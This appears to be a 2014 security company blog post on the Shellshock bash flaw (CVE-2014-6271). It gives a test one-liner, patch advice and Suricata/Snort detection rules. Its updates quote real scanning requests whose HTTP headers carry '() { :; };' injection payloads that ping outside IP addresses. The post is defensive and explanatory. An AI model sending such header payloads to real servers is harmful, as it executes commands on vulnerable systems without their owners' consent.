CVE-2014-6271 – Remotely Exploitable Vulnerability in Bash
September 24, 2014
With the excitement of public details of a remotely exploitable vulnerability in bash (CVE-2014-6271) coming to light today, we decided it was as good of time as any to finally launch Volexity's blog. We have a lot of exciting announcements and posts coming, but for now we turn our attention to bash. Today's announcement and release of related patches may ultimately unleash something that rivals HeartBleed. While that still remains to be seen, the time for action from system administrators is now.
Are You Vulnerable?
If you haven't patched today, then the answer is most likely yes. However, double checking if this is the case is rather simple. If you want to find out if your version of bash is vulnerable to exploitation, you can use a script that Redhat posted earlier today and quickly check.
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
A vulnerable version of bash will produce the following output:
vulnerable this is a test
On the other hand, if your version of bash is patched or otherwise not affected, you will see this instead:
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test
Thanks to coordinated efforts, at the time all of this information became public, patches were already available for most major Linux distributions. Simply getting updates from your repositories and performing an update to your whole system or only bash should do the trick. The Redhat post also contains a few other mitigations, which may be helpful if you can't patch your version of bash for some reason.
Intrusion Detection
As of Wednesday evening there isn't mass panic or wide spread exploitation of this issue. However, this is something that can change in an instant, as security researchers, enthusiast, criminals and nation-states are surely working to determine how else this can be further exploited. At the moment most POCs and testing centers around exploitation via HTTP requests to CGI scripts. As a result, taking a look at incoming HTTP requests and your HTTP logs may be a good way to kept abreast of active threats to your network and devices.
Volexity has tested and deployed a few simple signatures for two of the most common scenarios we have seen both suggested and in POC exploit code. These are simple IDS signatures aimed at catching an artifact not commonly seen in HTTP header traffic (this includes User-Agent or any other real or made up HTTP header). This test signature has been deployed across several networks with 0 false positives thus far. This doesn't mean the exploit can't be leveraged without triggering our signature, but rather, we are not seeing common web crawlers or other browsers and devices that flag on the rules. The signature in both Suricata and Snort formats is seen below.
Suricata Format
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"Volex - Possible CVE-2014-6271 bash Vulnerability Requested (header)"; flow:established,to_server; content:"() {"; http_header; threshold:type limit, track by_src, count 1, seconds 120; sid:2014092401;)
Snort Format
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"Volex - Possible CVE-2014-6271 bash Vulnerability Requested (header) "; flow:established,to_server; content:"() {"; http_header; threshold:type limit, track by_src, count 1, seconds 120; sid:2014092401;)
If you think the rule looks extremely simplistic, you are 100% correct. We like to keep rules as simple as possible when getting them out in an emergency/immediate release. You will note the rule simply looks for "() {" in the HTTP header. These are what we have seen in tests and POCs thus far and hence the quick, dirty, and easy rule. Yes, there may ultimately be ways to evade this but it should be sufficient for now. With that said we have a working version that leverages pcre and will pick up several different variations that will evade the above two signatures. However, it is not quite ready for release, but if someone posts one before we release ours we will update this blog to include it. We recommend shipping it over to Emerging Threats for public inclusion.
Feel free to drop us a line if you have any feedback or questions.
Internet Scans
Update: 2014-09-24 21:10 ET
The first hits we have seen against our monitoring networks have come in and appear to be wide ranging scans from Errata Security from the IP address 209.126.230.72. The inbound requests look like the one below.
GET / HTTP/1.0
User-Agent: shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
Accept: */*
Cookie: () { :; }; ping -c 17 209.126.230.74
Host:() { :; }; ping -c 23 209.126.230.74
Referer: () { :; }; ping -c 11 209.126.230.74
Check your network for outbound ICMP connections to 209.126.230.74. This is probably a good indicator you have a vulnerable server. More details of their scanning efforts are available right at the blog seen in the User-Agent string (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.htm). Taking a look now it also seems they have some information on early results of the scanning effort as well.
Update 2014-09-25 02:34 ET
A new wave of scanning is making its way around looking to try this attack against cPanel's /cgi-sys/defaultwebpage.cgi file. Scans in these instance have come from the IP address 89.207.135.125. Sample HTTP request seen below:
GET /cgi-sys/defaultwebpage.cgi HTTP/1.0
User-Agent: () { :;}; /bin/ping -c 1 198.101.206.138
Accept: */*
This will attempt to send a single ping to the Rackspace IP address 198.101.206.138.